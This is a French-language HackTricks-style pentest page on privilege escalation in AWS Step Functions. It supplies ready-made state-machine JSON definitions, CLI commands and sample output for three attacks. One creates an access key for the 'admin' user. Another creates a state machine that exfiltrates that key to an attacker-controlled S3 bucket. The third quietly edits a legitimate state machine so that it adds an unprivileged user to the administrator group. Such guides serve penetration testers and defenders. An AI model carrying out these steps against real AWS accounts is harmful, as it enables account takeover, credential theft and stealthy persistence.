# AWS - Step Functions Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Step Functions

Pour plus d'informations sur ce service AWS, consultez :

{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### Ressources de Tâche

Ces techniques d'escalade de privilèges nécessiteront l'utilisation de certaines ressources de fonction étape AWS afin d'effectuer les actions d'escalade de privilèges souhaitées.

Pour vérifier toutes les actions possibles, vous pouvez vous rendre sur votre propre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans :

<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>

Ou vous pouvez également consulter la documentation API AWS et vérifier la documentation de chaque action :

- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)

### `states:TestState` & `iam:PassRole`

Un attaquant avec les permissions **`states:TestState`** & **`iam:PassRole`** peut tester n'importe quel état et passer n'importe quel rôle IAM sans créer ou mettre à jour une machine d'état existante, permettant un accès non autorisé à d'autres services AWS avec les permissions des rôles. potentiellement. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation des flux de travail pour altérer des données à des violations de données, manipulation de ressources et escalade de privilèges.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Les exemples suivants montrent comment tester un état qui crée une clé d'accès pour l'utilisateur **`admin`** en tirant parti de ces autorisations et d'un rôle permissif de l'environnement AWS. Ce rôle permissif devrait avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à l'état d'effectuer l'action **`iam:CreateAccessKey`** :

- **stateDefinition.json**:
```json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
```
- **Commande** exécutée pour effectuer l'élévation de privilèges :
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
```
**Impact potentiel** : Exécution non autorisée et manipulation de flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.

### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)

Un attaquant avec les **`states:CreateStateMachine`** & **`iam:PassRole`** serait capable de créer une machine d'état et de lui fournir n'importe quel rôle IAM, permettant un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle-même, vous devrez également avoir les permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** n'est **pas disponible pour les flux de travail standard**, **juste pour les machines d'état express**) afin de démarrer une exécution sur la machine d'état.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Les exemples suivants montrent comment créer une machine d'état qui crée une clé d'accès pour l'utilisateur **`admin`** et exfiltre cette clé d'accès vers un bucket S3 contrôlé par un attaquant, en tirant parti de ces autorisations et d'un rôle permissif de l'environnement AWS. Ce rôle permissif devrait avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à la machine d'état d'effectuer les actions **`iam:CreateAccessKey`** et **`s3:putObject`**.

- **stateMachineDefinition.json**:
```json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
```
- **Commande** exécutée pour **créer la machine d'état** :
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Commande** exécutée pour **démarrer une exécution** de la machine d'état précédemment créée :
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
```
> [!WARNING]
> Le bucket S3 contrôlé par l'attaquant doit avoir des permissions pour accepter une action s3:PutObject du compte victime.

**Impact potentiel** : Exécution non autorisée et manipulation de workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.

### `states:UpdateStateMachine` & (pas toujours requis) `iam:PassRole`

Un attaquant avec la permission **`states:UpdateStateMachine`** serait capable de modifier la définition d'une machine d'état, pouvant ajouter des états furtifs supplémentaires qui pourraient aboutir à une élévation de privilèges. De cette manière, lorsque qu'un utilisateur légitime démarre une exécution de la machine d'état, ce nouvel état furtif malveillant sera exécuté et l'élévation de privilèges sera réussie.

Selon le niveau de permissivité du rôle IAM associé à la machine d'état, un attaquant serait confronté à 2 situations :

1. **Rôle IAM permissif** : Si le rôle IAM associé à la machine d'état est déjà permissif (il a par exemple la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée), alors la permission **`iam:PassRole`** ne serait pas requise pour élever les privilèges puisque ce ne serait pas nécessaire de mettre à jour le rôle IAM, la définition de la machine d'état suffit.
2. **Rôle IAM non permissif** : Contrairement au cas précédent, ici un attaquant aurait également besoin de la permission **`iam:PassRole`** car il serait nécessaire d'associer un rôle IAM permissif à la machine d'état en plus de modifier la définition de la machine d'état.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Les exemples suivants montrent comment mettre à jour une machine d'état légitime qui invoque simplement une fonction Lambda HelloWorld, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur **`unprivilegedUser`** au groupe IAM **`administrator`**. De cette manière, lorsqu'un utilisateur légitime démarre une exécution de la machine d'état mise à jour, ce nouvel état furtif malveillant sera exécuté et l'escalade de privilèges sera réussie.

> [!WARNING]
> Si la machine d'état n'a pas de rôle IAM permissif associé, il serait également nécessaire d'avoir la permission **`iam:PassRole`** pour mettre à jour le rôle IAM afin d'associer un rôle IAM permissif (par exemple, un avec la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée).

{{#tabs }}
{{#tab name="Legit State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}

{{#tab name="Machine d'État Mise à Jour Malveillante" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#endtabs }}

- **Commande** exécutée pour **mettre à jour** **la machine d'état légitime** :
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Impact potentiel** : Exécution non autorisée et manipulation des flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.

{{#include ../../../banners/hacktricks-training.md}}
